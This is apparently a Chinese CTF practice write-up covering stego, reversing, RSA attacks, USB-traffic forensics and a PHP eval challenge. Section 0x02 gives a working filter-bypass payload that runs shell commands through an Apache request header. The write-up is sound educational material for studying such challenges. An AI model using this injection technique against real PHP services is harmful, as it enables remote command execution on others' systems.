Contents

CTF练习Week3

0x00 TLS-简简单单套个娃

010打开文件发现文件头为PK,修改后缀名,在备注发现摩斯密码

1
...-- ...-- .---- ..-. -.. .- .- -.-. -.. .- .---- .- ----- ..-. ----. .- -.-. ---.. --... ..... .---- .- ...-- .- ...-- ..--- ..... . ----. -.-. ..... .

解密得到331FDAACDA1A0F9AC8751A3A325E9C5E,感觉像MD5,解一下得到qwe!123,得到新文件,打开发现文件头和IEND的crc有问题,修改后得到一个二维码。

扫描得到

零宽字符隐写。

0x01 TLS-tls_new_re1

分析代码可以发现是将flag先减3再和9进行异或

编写脚本

flag=""
x="j`Wmq]k`ieckUxeUX@Ys"
for i in range(len(x)):
	flag+=chr((ord(x[i])^9)+3)
print(flag)

0x02 TLS-EAZYRCE

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?php
highlight_file(__FILE__);
$exp = $_GET['exp'];
//php7.3 + Apache
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $exp)) {
    if(!preg_match("/o|v|b|print|var|time|file|sqrt|path|dir|exp|pi|an|na|en|ex|et|na|dec|true|false|[0-9]/i", $exp)){
        eval($exp);
    }else{
        exit('NoNoNo,U R Hacker~');
    }
}else{
    exit("What's this?");
}

构造payload为exp=system(array_shift(apache_request_headers()));flag: cat /flag

0x03 TLS-simpleRSA

这个题真的是人生无常,大肠包小肠。分阶段记录一下吧

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python3.9
# -*- coding: utf-8 -*-
import gmpy2
from Crypto.Util.number import getPrime, isPrime, bytes_to_long
from secret import FLAG, E1, E2, P, Q1, Q2


def next_prime(num: int) -> int:
    num = num + 2 if num % 2 else num + 1
    while not isPrime(num):
        num += 2
    return num


p = getPrime(1024)
q = next_prime(13 * p + 52433)
n = p * q
c = pow(E1, 65537, n)
print(f'n = {n}')
print(f'c = {c}')
# n = 259890247443804761118228016219136684924167917522422806784955644506207888351304889509903433463527585637662916733749092132376942374314732903500147772464631303079816368071397816148840032140257741234623942972389330658394009752410215122103809627221978841602901343785314357668760003964914166778126289222020290468903953247175457923739210505739006832916267484268910832870071479071917094394577029957202256240184604809173087617931324803860474150820931470601204798293536446102918790547726389486804819530604731780327035091686886029998993701502986883473430288066966414564995833243607159289786503640253962387954613582807541606942749
# c = 56440807794784873155975554526282639269465966474628218727704063243557056715418468759474870838438499918826893792546655715745526027857276713541238255702873551647125573694638955842404342457788336135938834876470872953749978996773098030211241264236735693391584657468679440790473717213665228349818831369116042003502072082694693222429663702695116191467500411709133178801495474342969042325471712020201636143305265100439673243718028002788717655896374089009854112149946761782391009483256739835432971090640363725440908313218581221815215679758846253486316393841855585127055921605329511990315967829323041426287669986012868743294383

这个首先联想到,用n/13后开平方根,最后往前查找素数,应该能找到,可以求出E1。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
p = gmpy2.iroot(n//13,2)[0]
while 1:
	p = sympy.prevprime(p)
	q = sympy.nextprime(13 * p + 52433)
	if(q == n//p):
		break
phi = (p-1)*(q-1)
d = gmpy2.invert(65537, phi)
E1 = pow(c, int(d), n)
print(E1)

assert E2.bit_length() == 68
ns = [getPrime(1024) * getPrime(1024) for _ in range(3)]
cs = [pow(E2, 89, n) for n in ns]
print(f'ns = {ns}')
print(f'cs = {cs}')
# ns = [14768877816717539611731045629979591214811330868162202565624664129912032603118216104003405398241174001521124840138476411692247747689580245229633834241354343663803512914327061439026544199607661340809522611714979050746642474298514984319799503942592454459033529230661408387428307100152240359931113582007834771064836814506679488489884326758202775879875295915804661697151797257882534759047427072076935608038544138918082424231665777438859097733700757281503798641211223630919282623055222757291265697646847664236117770057816055708821059139836629062435882101110861519241590121890490749372041394827106099992940775405355963537093, 19666545323134160617662045141655785833630626383149539459109151988125669512345207825350175718697646952110980014593295830440913639941294759366636907406022093593567085060130487695457293050838339751589656086715810761617034895110908921222238432080750232780959480802362123627948837433700702719795982826451033532941818523986557921585705333167085832750810602154544395282520714531925732606981719148520396524986802623258451137156083339557903763787258971153135598507990986538670962098805822026704693511638643139987774524413005609600478133862229864877539603414684417042041304917739974092129299946247802874434223813699963768959763, 15779368467163552829155887858552042780948412851484383573815791940301167449302309346542230278336893665527037182849622548454420128882466125704119621262910314425821276866328941773658802929134316373368772517587582142657657900715575360467459524840118867966716907874327634603692474154990530124677535030772815052167989006001122992617640466985679436530404398438789489536785124944395405233412010429769188201394928826199790856798037225834203918546557553132305324936899974409559438594918135814322834671435422502955119706510092210390004609239572208028155476305714319440640836664426079307167151133383912378800774498518280438182203]
# cs = [567850780510774217643896612655688253669214849388311742718787427972718595963863911452371929027639644307000739560965604527599743560884685911816686998038866122672741996289320331846282807112765589075393537405844508645186580219935681309551863862838005818102040526577638711724084442111910507832270265866651971011054177521418891278722648745957602559922271453142590901732965224467398990543233797146010537073758529331487664292226361777579207274132983906773032552051857982429265573985911417593730675378625055722840026395255063109465505900223512922055483597989949853680781366266645807749448493048852769413781512590488755978697, 16628689839738879696100069757848926944243292698323350637649584538310327633442975226999529525456259644570646951204781799076562002069453482286619645490158456560690652510541536353482676298819618268940054219537327611925439186331762973027774866201153493437368183695220271473169270116128825534852722159311320980174393841950205399254670211089683984121742072363442124572477542374398931013755766208246311751050272325010037196256536013007563620011493948752002272261333679256550076724906019636720113375326020525053147012787943894857133740100766017749473241441986776405175439625904183358501475568051587218891671961057999591001668, 7423561249867066194530577825751519067130148169119196474389962513177470795034282161787340397726773451715094904236471232577160713265828264263562089259120152501642969714248564032095513372662818544778929805546621303928734411268330553516461133100124009496405027437585651547170169428109291156528057270539229674840678343567274741287724466921000898325604505576001240065875934111729300326280297815704004629408909170232221133608585206749960618344234298494521288440446897752115014786315122220398755923018428341634901663783340643124065995812457742638126684083971978356298818106529467920958965081076230810503321379529620885195317]

第二个有多组n和c,用低加密指数广播攻击

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
from functools import reduce
def CRT(mi, ai):
	assert(reduce(gmpy2.gcd,mi)==1)
	assert (isinstance(mi, list) and isinstance(ai, list))
	M = reduce(lambda x, y: x * y, mi)
	ai_ti_Mi = [a * (M // m) * gmpy2.invert(M // m, m) for (m, a) in zip(mi, ai)]
	return reduce(lambda x, y: x + y, ai_ti_Mi) % M

E2 = gmpy2.iroot(CRT(ns, cs),89)[0]
print(E2)

qq = getPrime(1024)
nn = P * qq
qqq = qq >> 460 << 460
print(f'nn = {nn}')
print(f'qqq = {qqq}')
# nn = 23771565097692613805925074947762277776248175039904858640393515573404187252654078983280079053221178407495942053339065277458665885747681910079114703240305875633863359892288520067708424052894526852549504476844606883063864442920259420950734334491426028395052970793501884544454476339394388681877266173301424526574691645472879318102691079950543768832010711509846115011175415348311434230971982003766118635224304817289494045882942006710195248414232575795509048370893046873209854272475037633188006029149253662072051929871584657148706162114224833446325630812536670801454942386364791171210124128405736320131739365476538566297221
# qqq = 133032422062763199415874751118944045012894101492725125544603031449033342774705002029942162253414972567936917624806763857304579798126496989113467512098796380998642424465450876083699444199323535712213201610265804758481994796046002002888732353517685661856315914283134231856793005918816096507197913746788533141504

第三个是已知高位攻击,但只有564位,所以要爆破3位16进制,sage代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
n = 0xbc4e9c04da69b4ff5930317b4b0d6857540fca7f513641ccff47b6d683d36d4c8fe7edd254fcbedd8641cc77853c16ba2c61a13e8f15fe68687d6961285d55557727edde455d5ddda1ccb45977b47a4cda341f048a7463373f76d48cb0551aa531fd37d8a759c9e66c5b6355056460283c51bd44be2f1188c37937e79acdea4945b3bea180933338458e3351d79b94ef46a683373e4927a19d68ff676d1867366d15299a5299ff6d68809ad65e6b8fe3e6673f75ed165594d8df1ccecf5ec4f822fa7ed29e3a50a5cc2a558cb51bcb1729a77acf63c08de5ea0f2700c8a00564de5cd4f562fd721645efaa30750189e7d93fb77966c586540c9631525887c685
p = 0xbd71c7f591aea1c42742d2cf5405e8e253efeeb2ad849472f76d195dd7998014f8b66d125648122cf7d2d2139a9d60645167ddc06e0e19db8cc1bf7f40d3b058bf76a376270c2
import string
dic = string.digits + "abcdef"

for a in dic:
    for b in dic:
        for c in dic:
            pp = hex(p) + a + b +c
            pp += '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
            pp = int(pp, 16)
            p_fake = pp+0x10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
            pbits = 1024
            kbits = pbits-576
            pbar = p_fake & (2^pbits-2^kbits)
            PR.<x> = PolynomialRing(Zmod(n))
            f = x + pbar
            try:
                x0 = f.small_roots(X=2^kbits, beta=0.4)[0]  # find root < 2^kbits with factor >= n^0.4
                p = x0 + pbar
                print("p = "+str(p))
            except:
                pass

求出

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
qq=133032422062763199415874751118944045012894101492725125544603031449033342774705002029942162253414972567936917624806763857304579798126496989113467512098796380998642424465451704219931632349503728132449802255149198775723846069933278985829545731557914585587815867421686795953411964810160894503565026740694976236811
P=nn//qq

assert len(FLAG) == 41
n1 = P * Q1
n2 = P * Q2
c1 = pow(bytes_to_long(FLAG), E1, n1)
c2 = pow(bytes_to_long(FLAG), E2, n2)
print(f'n1 = {n1}')
print(f'n2 = {n2}')
print(f'c1 = {c1}')
print(f'c2 = {c2}')
# n1 = 18615819728233110617885488070170280058678037220922758497798317613309446913882382218988276336640291907575211969819046709233017427083675321319838324128807023798454132857376509073136982503941694071901508081576711033903943161653983689801633273077510931811744081084936611086209603707614306074106350610895121051037503666820027946473646362175767823115112774958590804061001365734472031264785538167765588332991014359407442463788578662889696722061503294486117727781690597648065733866183443407041195995273979020907657344919680556433317183235313361749388077888127521789307610579244550742677827830100382943563044931371158281194163
# n2 = 22235180820309259706502497391595616630317652707229408232984221118221138397072915888161096649178543569952298675317455055054711067738814936900669274866964814475704409045609134050327687101928407393899730040553995551707206684121719794241712780730733754614935418331338491945060410407827204848804476741560106663626242515362482874211450679398078802410658500152741970056159174742779223140126949953245841551474643122777751158488054087594348467274510239721892662634242570010409232517423384460511916732209632178418225020386222389749581055404458956827746631748723546337995180200182270159027360019493521907846599393898139341839193
# c1 = 1525820431343041210301379575059913906569418054637665661643410281713022846489115293334487842528337439323978772411684711118057475068210699113700871606346215679469029155294879483210586505221025352889601315289266265230768668926522950865792439010944831832053020211211241375983851101045291043503255291515859151541329786361770243582913033586488891223478458652727336603808554667537786901236803690264785625510500540325622082291536124402060606751637583269840534796600068310534190180959390351021831168200565432749224552316357935660465975429052194600195556583114196651347453503456007077856687598779890075785752654683709014445698
# c2 = 2509634403856675946927680634000452005161577113423040711542069655740930931736584736517738770425013518679008580546264171800386267636606636241188186970317732380596679813848641163469535812260252128213739824439191581905567154377358056451969275213354169650531184684070609988553508927041905357399891406475138462092327366942092124805804648351539744975570980563068923730546229390872219181219152034725766967223049116158569712493601760712914100477130371451141171141672295748388053527312512026450202897398153439868652905337399339851546705444294075524110306269211294801860205973030097992067908247427581382455091564823866204734549

最后得到两组e与φ(n)不互素,参考http://81.70.81.64/rsa%e7%bb%83%e4%b9%a0%e2%96%aa%e6%96%b0/#0x02-%5BDe1CTF2019%5Dbabyrsa

Q1=n1//P
Q2=n2//P

phi1 = (P-1)*(Q1-1)
phi2 = (P-1)*(Q2-1)

xx1=gmpy2.gcd(E1,phi1)
xx2=gmpy2.gcd(E2,phi2)

d1=gmpy2.invert(E1//xx1,phi1)
d2=gmpy2.invert(E2//xx2,phi2)

nn=[]
aa=[]

nn.append(Q1)
nn.append(Q2)
a1=gmpy2.powmod(c1,d1,P*Q1)%Q1
a2=gmpy2.powmod(c2,d2,P*Q2)%Q2
aa.append(a1)
aa.append(a2)

def CRT(r,d):
	M = 1
	l = len(r)
	for i in range(0,l):
		M = d[i] * M
	x = 0
	for i in range(0,l):
		md = M//d[i]
		x = (x + gmpy2.invert(md, d[i])  * md *r[i] )%M
	return int(M+x% M)%M
last = CRT(aa,nn)
new_e=5
new_phi=(Q1-1)*(Q2-1)

new_d=gmpy2.invert(new_e,new_phi)
m_2=gmpy2.powmod(last,new_d,Q1*Q2)
flag=gmpy2.iroot(m_2,3)[0]

print(long_to_bytes(flag))

最后得到

0x04 2022数字中国车联网-车联网签到

跑完一圈就给flag

0x05 2022数字中国车联网-the secret of car

读usb键盘流量,使用命令tshark -r car.pcapng -T fields -e usb.capdata > usbdata.txt,删除空行和非键盘数据。使用如下脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
mappings = { 0x04:"A",  0x05:"B",  0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G",  0x0B:"H", 0x0C:"I",  0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O",  0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5",  0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"\n", 0x2a:"[DEL]",  0X2B:"    ", 0x2C:" ",  0x2D:"-", 0x2E:"=", 0x2F:"[",  0x30:"]",  0x31:"\\", 0x32:"~", 0x33:";",  0x34:"'", 0x36:",",  0x37:"." }
nums = []
keys = open('usbdata.txt')
for line in keys:
    if line[0]!='0' or line[1]!='0' or line[2]!='0' or line[3]!='0' or line[6]!='0' or line[7]!='0' or line[8]!='0' or line[9]!='0' or line[10]!='0' or line[11]!='0' or line[12]!='0' or line[13]!='0' or line[14]!='0' or line[15]!='0':
         continue
    nums.append(int(line[4:6],16))
keys.close()
output = ""
for n in nums:
    if n == 0 :
        continue
    if n in mappings:
        output += mappings[n]
    else:
        output += '[unknown]'
print 'output :\n' + output

得到信息PASSWORD1 [unknown]V3HICL3NE7WORKIN91S

拿到一堆车联网的流量包,使用binwalk分析,发现存在压缩包,foremost导出,得到

password2: ..--.-/../--/.--./---/.-./-/.-/-./-/..--.-/..---/..--.-/..-/.-.../--/.

解码得到_IMPORTANT_2_U&ME,拼接到一块儿,前面补齐下划线得到V3HICL3_NE7WORKIN9_1S_IMPORTANT_2_U&ME,解压图片后名称为wbs43open.bmp,直接用wbs43open解密得到flag。

0x06 2022数字中国车联网层层关卡

ida打开分析,发现主要是main函数的6个check对字符串进行了处理。

第一个check是检查flag的长度是否为34,第二个检查是否为flag{开头,第三个检查是否以}结尾。

第四个将_前的第一部分拆分,如果字符是数字,则减87,如果是小写字母,则减48。将奇数位字符的ascii值乘以16后与偶数位字符的ascii进行或操作,得到的值为olympics,可以爆求解。

第五个将flag{xx_xx_xx}中间的部分分别与32、33进行异或运算,得到in。

第六个是将flag最后的部分进行base64解密,得到china。

汇总脚本如下:

import base64

dic='0123456789abcdef'
s1='olympics'
s2='in'
s3=b'china'
flag='flag{'

def fun1(x):
	if( ord(x)<=47 or ord(x)>57):
		if ( ord(x)>96 and ord(x)<=102):
			x = chr(ord(x)-87)
	else:
		x = chr(ord(x)-48)
	return x


for i in range(len(s1)):
	for x in dic:
		for y in dic:
			if ((ord(fun1(x))*16)|ord(fun1(y))) == ord(s1[i]):
				flag +=x
				flag +=y

flag+='_'
for i in range(len(s2)):
	if (i&1)!=0:
		flag += chr(ord(s2[i])^33)
	else:
		flag += chr(ord(s2[i])^32)
flag+='_'
encodestr=base64.b64encode(s3)
flag += str(encodestr)[2:-1]
flag += '}'
print(flag)